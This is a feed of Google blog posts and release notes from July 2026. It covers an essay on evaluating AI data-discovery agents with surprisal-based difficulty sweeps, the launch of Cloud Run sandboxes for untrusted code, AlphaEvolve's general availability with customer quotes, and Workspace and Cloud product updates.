Bryson DeChambeau partners with Google Health.

2026-07-10T16:12:00+00:00

Professional golfer Bryson DeChambeau partners with Google Health to track fitness metrics using Fitbit Air to bring data-driven athletic training to daily health routin…

Here’s how to make study notebooks in the Gemini app.

2026-07-10T16:00:00+00:00

Studying for a test, but not sure where to start? Study notebooks, a new feature in the Gemini app, can help you get organized and learn more efficiently.Think of study …

Frontier and Center: Who evaluates the evaluations?

2026-07-10T16:00:00+00:00

Editor’s note: Some of the most interesting questions in AI are being asked by information theoreticians, around how to provide context to an emerging class of AI agents. A few weeks ago, we waded into those waters with a blog about the Open Knowledge Format, a specification that formalizes the LLM-wiki pattern into a portable, interoperable format to represent the metadata, context, and curated knowledge that modern AI systems need to operate. That blog generated a ton of interest, so we’ve decided to bring you more of the same, as part of our new “Frontier and Center” series. Today, we hear from two members of Google Data Cloud’s frontier AI team on the recurring challenge of how to systematically evaluate whether or not an agent is able to answer questions effectively based on its context. Read on for more, and watch this space for more blogs from this team.

A passing grade is the least interesting thing an exam can tell you. It says the student cleared the bar; leaving you entirely in the dark about how narrow their failures were, how effortless their passes were, or what to teach next. Yet this is exactly how we evaluate AI agents. We run a fixed benchmark, calculate a score, and declare progress. In doing so, we are handing our agents a pass/fail exam when what we actually need is a map of the agent’s capabilities: a picture of the terrain that shows exactly where capability falls off, and by how much.

For data agents, this map matters a lot for data discovery in search and retrieval — the unglamorous first step where an agent, handed a vague human question and a warehouse or data lake of thousands of tables and files, has to find the right datasets before it can reason over anything. Discovery is a "needle in a haystack" problem. Real users phrase their questions imperfectly, and inferring what datasets to retrieve presents a real challenge to agents. So the interesting question in evaluations is never "can the agent pass?" It is "how vague can the question get before the agent breaks?" An exam cannot easily answer that, but a map can.

Today, we share an approach rooted in information theory that we’ve been leveraging to add detail and nuance, i.e., fidelity, to benchmarks, so we can better understand agents’ performance as a part of their evaluations. Along the way, the added fidelity exposed some deeper issues with the quality of emergent evaluation cases themselves.

Difficulty, measured

When it comes to retrieval, evaluation cases are often stratified into tiers of difficulty. This can happen organically, e.g., pervasive and enduring failure scenarios are deemed difficult. Or it can be from labels applied by humans or machines categorizing some questions as "easy" or "hard" for an agent to answer correctly, e.g., based on the context provided in the query. While this kind of sentiment-based labeling is not the only way to label test cases, it’s frequently used despite its imperfections, such as being challenging to reproduce.

Despite being an industry staple, the approach of assessing every evaluation case by hand is unrealistic at scale. What we need is a rigorous approach that can modulate the difficulty of evaluation cases. We’re iterating on a meta-benchmark we call Discovery Bench: a framework that modulates an evaluation case by generating “easy” and “hard” variations of every case. This allows us to audit how close or how far an agent is from succeeding in those cases.

The lever for modulating the difficulty of an input query comes via a tried-and-trusted concept that’s present across information theory and machine learning: surprisal, or the likelihood of an output given a set of inputs. In our case, a query’s surprisal represents the uncertainty that remains about the correct dataset given the query.

The thinking behind our approach is simple: A term or a phrase in an evaluation query has high informative power when it sharply distinguishes the target from everything else in the corpus. Therefore, we can adjust the difficulty of evaluation cases by adding or removing terms with varying levels of informative power.

Let’s work through a real example from KramaBench, a publicly available benchmark. One of KramaBench’s datasets has information about orbiting satellites, and the example query from the suite includes the following text: "…the total count of satellite major altitude changes for satellite 48445 during 2024 using TLE history."

The token "TLE" is sharply distinguishing; it points almost uniquely at the TLE_____48445 table from the dataset. Strip it, and the query degrades to "the count of satellite altitudes for satellite 48445," whose vague phrasing now matches density tables, precise-orbit files, and decay logs alike. Surprisal makes this quantitative: rare, pointed terms carry more bits than common ones.

The remaining surprisal of a query is how much uncertainty is left about its answer. As surprisal approaches zero, the query has become specific enough to pinpoint exactly one dataset.

The heart of the idea behind Discovery Bench is this refinement loop, which we call iterative surprisal-based query refinement, or iSQR, which generates cases with higher or lower informative power to test where an agent can start successfully answering the query:

Figure 2: The iSQR refinement loop.

The crux is being able to control the challenge embedded into the evaluation case by making adjustments: Instead of one fixed phrasing per question, we generate the same question at three levels of calibrated ambiguity [high, medium, low], with each grounded in bits (not subjective opinion). We can even justify, term by term, why a word was added or removed. Difficulty stops being a property that is attributed by sentiment or classification, and becomes one we engineer.

The cliff you couldn't see

Here is what Discovery Bench’s difficulty dial reveals — and what a single-phrasing benchmark structurally cannot.

We have an F1 agent that's built for recall (on Gemini 3.1 Pro). Running it against KramaBench and across the full sweep of ambiguity levels traces a curve: 0.34 at high ambiguity, 0.76 at neutral, 0.81 at medium, 0.78 at low.

Figure 3: F1 swept across ambiguity — the dot versus the curve.

Two findings fall out immediately (and neither were visible to a conventional eval).

First, the cliffs. This query scores a perfect F1 = 1.00 at neutral phrasing — and 0.00 at high ambiguity. It is the satellite-48445 case from above: drop the distinguishing token "TLE" and the agent loses the table entirely. Same query, same agent, same ground truth; one notch vaguer and it falls off a cliff. A static benchmark tests the neutral phrasing, stamps "solved," and reports flat ground where there is a precipice. Pass/fail was particularly misleading in that it did not just miss the cliff, but it told us the terrain was level.

Second, the sweet spot. For Discovery Agent, medium ambiguity beat neutral, and low ambiguity sometimes underperformed it. More specificity is not monotonically better for the system being evaluated; there is an optimal amount of steering. That is a graded, actionable signal. This is the "how close, how hard" texture we were missing from a scalar. It tells you where to hill-climb, or improve, the agent: in our case, straight at concrete failure modes like time-sharded tables (precision collapsing to ~8% as the agent over-retrieves 21 near-identical shards for a two-table answer) and context blow-up (F1 dropping from 0.75 to 0.32 once a query triggers long search chains). The map did not just say that the agent failed, but it said where, and why. Note that our hypothesis that less ambiguity and more context (via steering terms) should improve retrieval generally holds true, but for the specific Discovery Agent being exercised, the idiosyncratic “sweet spot” meaningfully highlighted trade-offs in its implementation.

We're not alone

The field is converging on meta-benchmarking and exerting greater control of how we challenge and evaluate our agents. A growing body of work uses item response theory, the latent-ability model behind standardized testing, to treat difficulty as a measured quantity rather than a label: tinyBenchmarks and metabench show that a handful of informative items reproduce a model's full score, and PSN-IRT turns the same lens on benchmark quality itself. Others audit the ground truth directly: MMLU-Redux found that 6.49% of Massive Multitask Language Understanding (MMLU) questions are mislabeled, and Platinum Benchmarks re-cleaned ten datasets to minimize both label errors and ambiguity — the same two axes we sweep for. And ambiguity is increasingly treated as intrinsic rather than noise: AmbigQA showed that a large fraction of real questions admit multiple readings, and later work finds that apparent hallucinations often stem from query ambiguity rather than model failure. What we have not seen elsewhere is the combination: information-theoretic ambiguity sweeping applied as a meta-benchmark over live enterprise data.

A benchmark we trusted turned out to be broken

We built our first evaluation on kramabench-astronomy, a benchmark established in the field, and one which other teams had already leaned on for their own evals. Teams derived benchmarks from this dataset, and we hypothesized subtle issues may have been introduced over time. When we actually read the benchmarks used by teams, with Gemini's help, we found it was wrong in meaningful ways: ground-truth tables that did not answer their query, a question whose 124 sharded tables exceeded what some teams’ retrieval APIs could even return, months specified where exact dates were required. Quietly broken ground truth means quietly wrong conclusions not just for us, but for every prior analysis built on it.

This is the generalized crux of the matter: an evaluation is itself an artifact that can be defective, and almost nobody evaluates it. We instrument the agent and trust the ruler, but where do we validate that the measuring stick makes sense?

When two maps disagree

Now the recursive turn: If difficulty is something we generate, then we need to evaluate the generator itself; we should not trust it blindly either.

So we built the same ambiguity sweep two ways: steering terms from a pure-LLM guess, versus terms grounded in TF-IDF surprisal. The two disagreed violently. At high ambiguity, the LLM-built sweep scored the agent at F1 ≈ 0.34; the grounded sweep, ≈ 0.85. One of these maps is badly distorted. The grounded one, predictably, is the more robust: surprisal gives it a footing the free-running LLM lacks.

This is "evaluate your evals," made concrete. The information-theoretic lens does not only grade the agent along a continuous axis; it grades the benchmark's own construction, and adjudicates between the two.

Evaluate your evals

We have spent years optimizing agents against rulers we never measured. The bitter irony is that better models make this worse: as agents clear coarse benchmarks, the score saturates near the top and the exam loses its ability to highlight where the agent can be improved.

So the call to action is uncomfortable and overdue: evaluate your evals. Read your ground truth. Treat difficulty as a measured quantity, not a label: sweep it, plot it, find the bit-width where your system breaks. Ask not just "did it pass?" but "how close was the miss, how hard was the pass, and would a slightly vaguer question have sent it off a cliff?" Build evaluations that produce signals; not just verdicts.

There is a genuine tension to sit with here. Difficulty-as-entropy is only as reliable as the model that estimates the entropy. There's a risk that if we push too hard on a measurable proxy, we optimize the ruler instead of the agent. That is not a reason to retreat to pass/fail; it is a reason to keep the evaluator under the same scrutiny as what it is evaluating. The moment we stop asking who evaluates the evaluators is the moment our maps stop being useful again.

^{1. Maia Polo, F. et al. tinyBenchmarks: Evaluating LLMs with Fewer Examples. ICML 2024. arxiv.org/abs/2402.14992}^{2. Kipnis, A. et al. metabench: A Sparse Benchmark of Reasoning and Knowledge in Large Language Models. ICLR 2025. arxiv.org/abs/2407.12844}^{3. Lost in Benchmarks? Rethinking Large Language Model Benchmarking with Item Response Theory (PSN-IRT). AAAI 2026. arxiv.org/abs/2505.15055}^{4. Gema, A. P. et al. Are We Done with MMLU? (MMLU-Redux). 2024. arxiv.org/abs/2406.04127}^{5. Vendrow, J. et al. Do Large Language Model Benchmarks Test Reliability? (Platinum Benchmarks). 2025. arxiv.org/abs/2502.03461}^{6. White, C., Dooley, S. et al. LiveBench: A Challenging, Contamination-Limited LLM Benchmark. 2024. arxiv.org/abs/2406.19314}^{7. Min, S. et al. AmbigQA: Answering Ambiguous Open-domain Questions. EMNLP 2020. aclanthology.org/2020.emnlp-main.466}^{8. Lai, E., Vitagliano, G. et al. KramaBench: A Benchmark for AI Systems on Data-to-Insight Pipelines over Data Lakes. 2025. arxiv.org/abs/2506.06541}

Cloud Release Notes — July 10, 2026

2026-07-10T07:00:00+00:00

Google Distributed Cloud (software only) for bare metal

Announcement

Google Distributed Cloud (software only) for bare metal 1.33.1000-gke.59 is now available for download. To upgrade, see Upgrade clusters. Google Distributed Cloud for bare metal 1.33.1000-gke.59 runs on Kubernetes v1.33.11-gke.100.

After a release, it takes approximately 7 to 14 days for the version to become available for installations or upgrades with the GKE On-Prem API clients: the Google Cloud console, the gcloud CLI, and Terraform.

If you use a third-party storage vendor, check the listing of our previously-qualified storage partners.

Fixed

The following issues were fixed in 1.33.1000-gke.59:

Fixed vulnerabilities listed in Vulnerability fixes.
Fixed an issue where Certificate Authority (CA) rotation failed for self-managing clusters (admin, hybrid, and standalone). The failure occurs during the final phase of the rotation when attempting to move management resources back from the temporary bootstrap cluster to the self-managing cluster, which can leave the cluster in an unmanageable state. You must upgrade your clusters to version 1.33.1000-gke.59 before you rotate your CAs. Running a CA rotation on self-managing clusters in versions prior to 1.33.1000-gke.59 triggers this issue and can disrupt your ability to manage the cluster.

Streamline identity lifecycle management in Google Workspace with new inbound SCIM support

2026-07-09T17:09:34+00:00

With inbound SCIM, when a Workspace end user’s account permissions are changed via their organization’s IdP, their access to Workspace data and any downstream apps, such as Gemini Enterprise, will also be updated in real time. Previously, customers would need to build custom integrations using Google directory APIs.

SCIM overview

System for Cross-domain Identity Management (SCIM) is an open protocol that synchronizes directory information between identity systems. With inbound SCIM, Google Workspace acts as a SCIM Service Provider, enabling compatible Identity Providers (IdPs) to automatically provision, update, and deactivate users and groups in real time.

Inbound SCIM offers:

Automated lifecycle management: IT teams no longer need to manually create user accounts or update details for Workspace, saving significant time and costs.
Seamless onboarding and day-one productivity: New employees have access to all Workspace productivity tools the moment they start, creating a frictionless onboarding experience.
Enhanced security with instant deprovisioning: When an employee leaves your organization or changes roles, SCIM instantly pushes an update request to Workspace. This eliminates the security risks associated with orphaned accounts and makes compliance audits significantly easier.
Simplified admin experience: Inbound SCIM offers a one-click token generation experience and admin controls to lock synced groups from your external source to prevent manual changes in Workspace that would conflict with your identity provider.

Getting started

Admins: This feature will be available by default and can be disabled/enabled at the domain level. Visit the Help Center to learn more.
End users: This is an admin-facing feature only.

The Manage external directories page in the Admin console showing Inbound SCIM setup

Configure a new Inbound SCIM connection with external IdP

Rollout pace

Rapid Release and Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting July 9, 2026

Availability

Business: Business Starter, Standard, and Plus
Enterprise: Enterprise Starter, Standard, and Plus

Resources

Google Workspace Admin Help: Get started with Inbound SCIM

Nowe funkcje przejrzystości AI w Google Ads

2026-07-09T17:00:00+00:00

Obraz przedstawia graficzną ilustrację różnych okien przeglądarki i interfejsów cyfrowych z centralnie umieszczoną ikoną lupy.

Safely run AI-generated code in Cloud Run sandboxes

2026-07-09T16:30:00+00:00

Here’s a question we hear often at Google Cloud: How do you safely run AI-generated code or untrusted binaries without putting your host application, data, and cloud credentials at risk? In other words, how do you give AI-written programs a safe space to run — one that keeps them completely separate from your trusted programs with higher privileges?

Until now, developers had to build complex sandboxing infrastructure using container clusters or pay for specialized third-party microVM runtimes.

Today, at WeAreDevelopers World Congress, we are announcing Google Cloud Run sandboxes in public preview. Cloud Run sandboxes are a native, secure, and ultra-fast runtime environment built specifically for executing untrusted code and agent workloads, starting in milliseconds.

In the following example, we send requests to safely execute untrusted Python code on a Cloud Run service that starts, executes, and stops 1,000 sandboxes with an average of 500ms latency:

In this post, we’ll share more about the feature and core use cases.

What is a Cloud Run sandbox?

Cloud Run sandboxes are lightweight, isolated execution boundaries that you can spawn near-instantly within your existing Cloud Run service instances.

Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.

Core use cases

LLM code interpreters: Build advanced data analysis features into your AI products. Let your models write and execute Python, R, or SQL code to analyze datasets, generate charts, and perform complex math securely.
Headless browsers: Give your agents a secure environment to run browsers. Safely scrape web pages, take screenshots, and automate web workflows without risking your host machine.
User-submitted code execution: Beyond AI, platforms hosted on Cloud Run can use sandboxes to safely run custom scripts, plugins, or webhooks uploaded by their own end-users.

How it works: The developer experience

Enabling sandboxes on your Cloud Run service is as simple as adding a single flag to your deployment.

Step 1: Enable the sandbox launcher

When deploying your Cloud Run service, enable the sandbox launcher via gcloud or your YAML configuration:

code_block: <ListValue: [StructValue([('code', 'gcloud beta run deploy my-agent-service \\\r\n --image=gcr.io/my-project/agent-image \\\r\n --sandbox-launcher'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b49a27d00>)])]>

Step 2: Spawn a sandbox natively in your code

Once enabled, a lightweight sandbox CLI binary is automatically mounted into your execution environment. Your agent application can spawn sandboxes programmatically using standard subprocess calls.

Here is how easily you can run an untrusted Python script generated by an LLM:

code_block: <ListValue: [StructValue([('code', 'import subprocess\r\n\r\ndef run_untrusted_code(llm_code: str):\r\n # 1. Write the untrusted LLM code to a local file\r\n with open("/tmp/generated_script.py", "w") as f:\r\n f.write(llm_code)\r\n \r\n # 2. Run it inside the secure sandbox\r\n # The sandbox shares your container\'s filesystem tools but runs in a secure silo\r\n result = subprocess.run(\r\n ["sandbox", "do", "--", "python3", "/tmp/generated_script.py"],\r\n capture_output=True,\r\n text=True,\r\n timeout=10\r\n )\r\n \r\n return result.stdout if result.returncode == 0 else result.stderr'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b49a27d30>)])]>

Security by design: Zero-trust by default

Cloud Run sandboxes are engineered to protect your host application and cloud resources from malicious or erroneous code execution. The runtime enforces three critical security boundaries:

1. Credential and environment isolation: These sandboxes do not have access to the Cloud Run service’s environment variables nor do they have the ability to call the Google Cloud metadata server.

2. Locked-down network egress (deny-by-default): By default, sandboxes have zero outbound network access. If your agent is tricked into running a script that attempts to exfiltrate data to a malicious server, the network request is blocked at the system layer. Egress can be enabled only when explicitly requested:

code_block: <ListValue: [StructValue([('code', 'sandbox do --allow-egress -- curl https://api.github.com'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b49a27df0>)])]>

3. Safe filesystem overlay: The sandbox runs with a read-only view of your container's filesystem (allowing it to use your installed packages, Python runtimes, and binaries) but writes all changes to an isolated, temporary memory overlay. Once the sandbox execution ends, all generated files are discarded. Though you can still import and export files as needed for re-use across sandboxes:

code_block: <ListValue: [StructValue([('code', '# Write data from the sandbox to an archive file that can be persisted\r\nsandbox do --write --export-tar=/tmp/work.tar \\\r\n -- /bin/bash -c "mkdir -p /tmp/work && echo \'task-complete\' > /tmp/work/status.txt"\r\n\r\n# Import the archive file in a new sandbox\r\nsandbox do --write --import-tar=/tmp/work.tar \\\r\n -- /bin/bash -c "cat /tmp/work/status.txt"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b49a27850>)])]>

ADK and ComputeSDK built-in support

Cloud Run sandboxes will be supported in the next version of Agent Development Kit with a new CloudRunSandboxCodeExecutor. This integration gives your ADK agents running on Cloud Run the ability to execute code in one single line:

code_block: <ListValue: [StructValue([('code', 'from google.adk.agents import Agent\r\nfrom google.adk.integrations.cloud_run import CloudRunSandboxCodeExecutor\r\n\r\nanalyst_agent = Agent(\r\n name="cloud_run_data_analyst",\r\n model="gemini-3.1-pro-preview",\r\n system_instruction=(\r\n "You are an expert data analyst. Write and execute Python code to answer "\r\n "user questions and process data safely."\r\n ),\r\n code_executor=CloudRunSandboxCodeExecutor(),\r\n)'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f5b48c1ca30>)])]>

Cloud Run sandboxes were also added to ComputeSDK, a vendor agnostic SDK for running sandboxes. This SDK allows you to either invoke sandboxes remotely from outside the Cloud Run service or use them directly as a local tool on the service. You can learn how to use this SDK for Cloud Run sandboxes here.

Get started today

Unlike dedicated sandbox hosting platforms that charge high premiums for on-demand virtual machines, Cloud Run sandboxes run directly on your existing allocated CPU and memory. Because the sandboxes share the resources of your running instances, there is no additional cost or premium to use this feature. You can check out our documentation here.

Solve harder problems with AlphaEvolve, now available to everyone on Google Cloud

2026-07-09T16:00:00+00:00

Many of the most challenging and valuable problems in the world are related to optimization. Now, AI is now making these problems tractable. If you've ever tried to design a microchip, plan a delivery network, or optimize a training architecture for a large AI model, you know how hard it is to find the most optimized code. Traditional coding methods often cannot explore all the possible algorithms and implementations because the search space is simply too vast. To help, we introduced AlphaEvolve last year in private preview — an agent to help you design better algorithms on Google Cloud.

What’s new: Today, AlphaEvolve is generally available (GA) on Gemini Enterprise Agent Platform. AlphaEvolve is a code optimization and discovery agent built on top of Gemini that helps solve the hardest algorithmic problems for your business and research. It has been tested in diverse domains like logistics, semiconductors, genomics, high performance computing, and financial services during our early access program. It systematically explores the search space to find solutions optimized for your problem.

Deploying AlphaEvolve within your environment follows a structured four-step process designed to move from initial problem definition to fully optimized production code:

Define: Provide a baseline seed algorithm and problem definition, together with background knowledge that provides context about the problem you want to solve.
Measure: Establish a scoring function to objectively score candidate programs on one or more metrics important for your problems such as correctness, performance, and operational constraints.
Optimize: Use AlphaEvolve’s agentic harness to generate optimized code.
Apply: Deploy the resulting, highly optimized algorithm directly into your production workloads and infrastructure.

In this post, we’ll share how organizations are already seeing impact with AlphaEvolve and how you can get started.

How organizations are using AlphaEvolve

AlphaEvolve has grown from a research project into a key tool we use at Google. Now, some of the world’s most innovative organizations are using it to solve their algorithmic problems, too.

BASF: Building a digital twin to optimize global supply chains
"We had several attempts to build a digital twin for our complex supply network using deterministic models, and all of them failed. By using AlphaEvolve, we can now not only map the complex network based on system data, but at the same time understand and copy the human decisions that drive our daily operations. This gives us a highly accurate and easy to maintain data driven digital twin of the entire network." — Dr. Goetz Krabbe, Vice President for Global Supply Chain, BASF.

Visit the blog to read more how BASF used AlphaEvolve to improve their existing planning and forecasting models by over 80%.

Coolblue: Optimizing e-commerce demand forecasting
“Coolblue data scientists used AlphaEvolve to directly optimize their 28-day demand forecasting pipeline, focusing on automated feature engineering, target preprocessing, and model selection. In just a few (200) iterations, AlphaEvolve improved our production forecast (by reducing WMAPE over the existing solution) by over 5%. These gains were achieved through improved feature engineering, an ensemble of different regression models, and better target preprocessing proposed and validated by AlphaEvolve. To ensure sufficient stock availability, it is crucial that the demand forecast is accurate for both the short term (the first 7 days) and the longer horizon (the full 28 days). AlphaEvolve achieved this by using an evaluation metric that combines both periods, along with a strict penalty for under forecasting. AlphaEvolve has proven its ability to significantly improve bulk purchasing decisions and help us maintain optimal stock levels for the weeks ahead.” — Cas Ruger, Data Scientist at Coolblue.

FM Logistic: Optimizing warehouse routing
"Through our partnership with Google Cloud and the implementation of AlphaEvolve and Gemini, we further optimized our routing approach for fast-moving operations. The 10.4% improvement was achieved on top of an already highly optimized baseline, where further gains are typically hard to come by. This translates directly to faster fulfillment, improved working conditions for our teams, and reduced wear on our fleet." — Rodolphe Bey, Group CIO at FM Logistic.

Visit the blog and website to read more about how FM Logistic used AlphaEvolve to improve warehouse routing by 10.4%, saving over 15,000 km in staff travel.

Infineon: Optimizing chip design
"Our initial experiments with AlphaEvolve have been very positive, demonstrating its potential to transform the chip design lifecycle. We see a clear potential for it to contribute to multiple stages of development, including areas like Surrogate modelling." — Michael Kollig, CIO, Infineon.

JetBrains: Accelerating IDE performance
"AlphaEvolve can change how we approach complex performance work. It turns optimizations that were once too time-consuming to explore into candidates we can test routinely. Engineers still own the benchmark, review, and release decision. The search space is what gets smaller." — Dmitrii Batkovich, Director of Engineering, JetBrains.

Visit the blog to read more about how Jetbrains used AlphaEvolve to improve their IDE performance by over 15-20%.

Kinaxis: Improving optimization and forecasting systems
"Kinaxis researchers have used AlphaEvolve to materially improve both the speed and quality of highly mature forecasting and optimization algorithms. In early testing, we achieved improvements of more than 22% in key forecasting accuracy metrics while reducing runtime by over 90% on benchmark datasets. As supply chains become increasingly complex and unpredictable, AlphaEvolve has the potential to help the world's largest organizations make faster, more informed decisions and adapt with greater confidence." — Gelu Ticala, Chief Technology Officer, Kinaxis

Visit the blog to read more about how Kinaxis used AlphaEvolve to achieve significant gains across their forecasting and runtime metrics.

Klarna: Doubling throughput while improving model quality
"Klarna applied AlphaEvolve to one of their largest ML training pipelines and doubled throughput while improving model quality, all under the strict reproducibility constraints of regulated financial services. Over three weeks, the system explored nearly 6,000 candidate programs, discovering deep architectural rewrites no engineer would have tried." — Klarna engineering team.

Visit the blog to read more about how Klarna used AlphaEvolve to double Training Speed and improve performance for their foundational models.

Kuro Games: Server-side Optimization
"At Kuro Games, our guiding principle is that AI should not just make our work faster — it should make our work better. AlphaEvolve is a real-world validation of that principle. We applied it to a complex backend optimization challenge and saw substantial performance gains in specific server-side workloads. AlphaEvolve handles the kind of optimization work machines do best, so our engineers can focus on what only people can do: crafting great games." — Lin Chenchen Chief Technology Officer, Kuro Games

Oak Ridge National Laboratory: GPU kernel generation for exascale computing
Under Google DeepMind’s Genesis Mission partnership with the Department of Energy to provide early-access to our AI for science tools.

“Oak Ridge National Laboratory (ORNL) recently partnered with Google to deploy AlphaEvolve on Frontier, the world’s first exascale supercomputer. The research team built a closed-loop evaluation architecture that bridges cloud-based large language model code generation with Frontier’s execution environment. The designed system optimizes mixed-precision GPU kernels—which requires complex, coupled decisions about memory, data layout, and hardware synchronization — by iteratively generating, compiling, running, and validating candidate programs, directly on the supercomputer's AMD GPUs. This executable search framework evaluates each proposed structural optimization against numerical accuracy rules.

“Our collaboration with Google's AlphaEvolve team gave us an early look at how evolutionary programming can be combined with leadership-class supercomputing. By running AlphaEvolve on Frontier, we explored a large number of optimization candidates in parallel, including novel implementation variants that helped us explore parts of the design space we might not have reached through manual optimization alone. This is an encouraging first step toward applying AI-assisted optimization to increasingly complex scientific software." — Oscar Hernandez Mendoza, PhD, Senior Computer Scientist, ORNL

Old Dominion University: Modeling biological aging mortality rates
"The Qin Lab at Old Dominion University used AlphaEvolve to search the space of Python programs that model biological aging mortality rates, a problem in computational biogerontology where the governing equations span multiple empirical laws. Utilizing an HPC cluster in Google Cloud as a part of the ODU MonarchSphere initiative, AlphaEvolve – across approximately 500 evaluations – independently rediscovered the Kannisto logistic mortality model (a published result from the 1990s biogerontology literature) with no prior knowledge of that literature, improved the Emergent Aging Model composite fitness score by 19% through heterogeneous decay rate distributions, and demonstrated near-perfect Strehler-Mildvan correlation (0.949) via scale-free network topology with Laplacian spectral aging across approximately 500 evaluations. The central finding is that structurally diverse models all converge on the same empirical aging laws, providing evidence that Gompertz, Strehler-Mildvan, and Kannisto regularities are robust attractors of biological systems. The team plans to extend this work to multi-species datasets and to connect the evolved program structures to testable biological mechanisms.” — Dr. Hong Qin,Department of Computer Science, Old Dominion University

PacBio: Scaling accuracy and lowering costs in genomics
"The solution the Google team discovered using AlphaEvolve unlocks meaningfully higher accuracy rates for our sequencing instruments. For researchers, this higher-quality data might enable the discovery of previously hidden disease-causing mutations." — Aaron Wenger (Senior Director, PacBio).

Visit the blog to read more about how Pacbio used AlphaEvolve to improve DeepConsensus — a model developed by Google Research for correcting DNA sequencing errors — achieving a 30% reduction in variant detection errors.

Pebble: Optimizing serving performance on GPUs
"Optimizing inference serving is an incredibly challenging problem because it is a multi-dimensional system design challenge that shifts dynamically between memory, compute, and hardware orchestration constraints. NVIDIA's AI Configurator latency model was severely bottlenecked by a single, static 0.8 empirical correction factor that applied uniformly to all workloads, and did not model FP8-vs-BF16 efficiency divergence, causing recommended configurations to drift away from the optimum. AlphaEvolve solved this by autonomously discovering GPU performance modeling formulations directly from our training prior. This Gemini-powered evolutionary approach drastically cut our model errors by more than delivering a 56% relative error reduction. We are excited to integrate this smoother, learned efficiency function and leverage AlphaEvolve to continuously map emerging hardware specifications without manual tuning." — Keval Shah Head of AI, Pebble

Qbraid: Advancing quantum computing
"AlphaEvolve delivered a result on top of an encoding family we had already spent years refining. It searched a design space far too large to comb through by hand and handed back something we could read, verify, and understand. Systems like AlphaEvolve will meaningfully accelerate progress toward useful quantum computing." — Kenny Heitritter, Vice President of Research and Development at qBraid.

Visit the blog and paper to read more about how Qbraid used AlphaEvolve to find significantly more error efficient error-correcting codes for quantum chemistry.

Schrödinger: Shortening cycles for molecular simulations for drug discovery
"AlphaEvolve allows us to explore larger chemical spaces faster and more efficiently than ever before. Faster MLFF inference carries real business impact, shortening R&D cycles in drug discovery, catalyst design, and materials development, and enabling companies to screen molecular candidates in days rather than months." — Gabriel Marques, ML Tech Lead, Schrödinger.

Visit the blog to read more about how Schröedinger used AlphaEvolve to quadruple the speed of molecular discovery.

Substrate: Accelerating runtime speed for semiconductor simulation
“AlphaEvolve transformed the speed and efficiency of our computational lithography frameworks and, more impressively, demonstrated the potential of these models to design their future selves, all the way down to the atoms.” — James Proud, CEO, Substrate.

Visit the blog to read more about how Substrate applied AlphaEvolve to its computational lithography framework, achieving a multi-fold increase in runtime speed, enabling them to run significantly larger simulations of advanced semiconductors.

WPP: Cracking the code of campaign success
"WPP faced a ceiling in predicting creative campaign performance, as their manual model optimizations yielded only marginal 1% accuracy gains despite significant time and effort. To overcome this challenge, WPP’s Research team utilized AlphaEvolve to autonomously propose, evaluate, and refine candidate model architectures rather than relying on slow manual experimentation. This agentic framework effectively bypassed their trial-and-error limits, successfully navigating complex, high-dimensional campaign data and class imbalances. As a result, WPP achieved a highly significant 5–10% (across different use cases) increase in both prediction accuracy and downstream recommendation scores, outperforming all previous baseline models including neural and fine-tuned Gemma models." — Anastasios Tsourtis, Lead Data Scientist, WPP.

Visit the blog to read more about how WPP used AlphaEvolve to optimize machine learning models for digital marketing campaigns, delivering a 10% lift in prediction accuracy and up to a 7% boost in downstream recommendation scores.

Hardening our own infrastructure and scientific research

Beyond external deployments, Google has integrated AlphaEvolve as a core engine to scale its own state-of-the-art infrastructure. As detailed by Google DeepMind, AlphaEvolve has successfully optimized the silicon design of next-generation Tensor Processing Units (TPUs) with a highly efficient, counterintuitive circuit layout, refined Google Spanner’s Log-Structured Merge-tree compaction heuristics to reduce write amplification by 20%, and reduced software storage footprints by nearly 9% through new compiler optimization strategies. Additionally, the agent has made critical contributions to scientific research, boosting predictive accuracy across 20 natural disaster risk categories by 5%, and discovering quantum circuits with 10x lower error rates for running complex molecular simulations on Google's Willow quantum processor.

According to Pushmeet Kohli, Chief Scientist, Google Cloud & Vice President, Science at Google DeepMind, “AI is moving beyond acting as a productivity assistant that accelerates how we work to a discovery engine that expands what we can achieve. By autonomously navigating complex computational search spaces, tools like AlphaEvolve are helping researchers and engineers uncover breakthrough algorithms that augment traditional human intuition”.

Start evolving your codebase today

Getting started with AlphaEvolve requires only two core inputs on your end:

Seed program: The initial algorithm written as code. You designate which segments of code are open to optimization and provide them to AlphaEvolve
An evaluator: A deterministic client-side evaluation script that compiles, tests, and scores the mutated candidates, returning one or more scalar metrics for AlphaEvolve to maximize.

Your client-side runner queries the AlphaEvolve API to acquire mutated candidate solutions, runs them through your client-side evaluator (which can be running anywhere), and submits the scores back to AlphaEvolve which you sample from.

To use AlphaEvolve we recommend getting going through the documentation. After quickly setting up the AlphaEvolve API using the onboarding guide, we recommend starting going through the repository with the basic colab examples to understand how the AlphaEvolve heuristic works. For agentic workflows, you can easily get started using the AlphaEvolve Skill in your IDE of choice, such as Antigravity or Claude Code. For more complex experimentation, our best practices guide and advanced examples provide additional resources to run through detailed AlphaEvolve experiment workflows.

We're rolling out AlphaEvolve widely to solve Google Cloud customers' hardest problems.

2026-07-09T16:00:00+00:00

Finding the most efficient algorithm — whether designing a microchip, routing a logistics network or accelerating medical research — can be challenging, with many possib…

Expanding AI transparency in ads

2026-07-09T16:00:00+00:00

Search windows

SensorFM: Towards a general intelligence and interface for wearable health data

2026-07-09T09:56:00+00:00

Generative AI

Building the future of global health, together

2026-07-09T08:00:00+00:00

Collage of different pairs of people interacting

Workspace Release Notes — July 09, 2026

2026-07-09T07:00:00+00:00

Chat API

Feature

Generally Available: You can now configure separate, granular access permissions for discovering and joining a space in the Google Chat API. To specify who can discover or join a space, include the AccessSettings object in the spaces resource, and use the accessPermissionSettings field to specify granular permissions.

For more information, see the Target audience for the Spaces resource.

Learn more in this Google Workspace Updates blog post: New discoverable space setting in Google Chat.

Cloud Release Notes — July 09, 2026

2026-07-09T07:00:00+00:00

Bigtable

Feature

You can use the Bigtable client library for Go to execute read jobs and queries using Data Boost.

Compute Engine

Feature

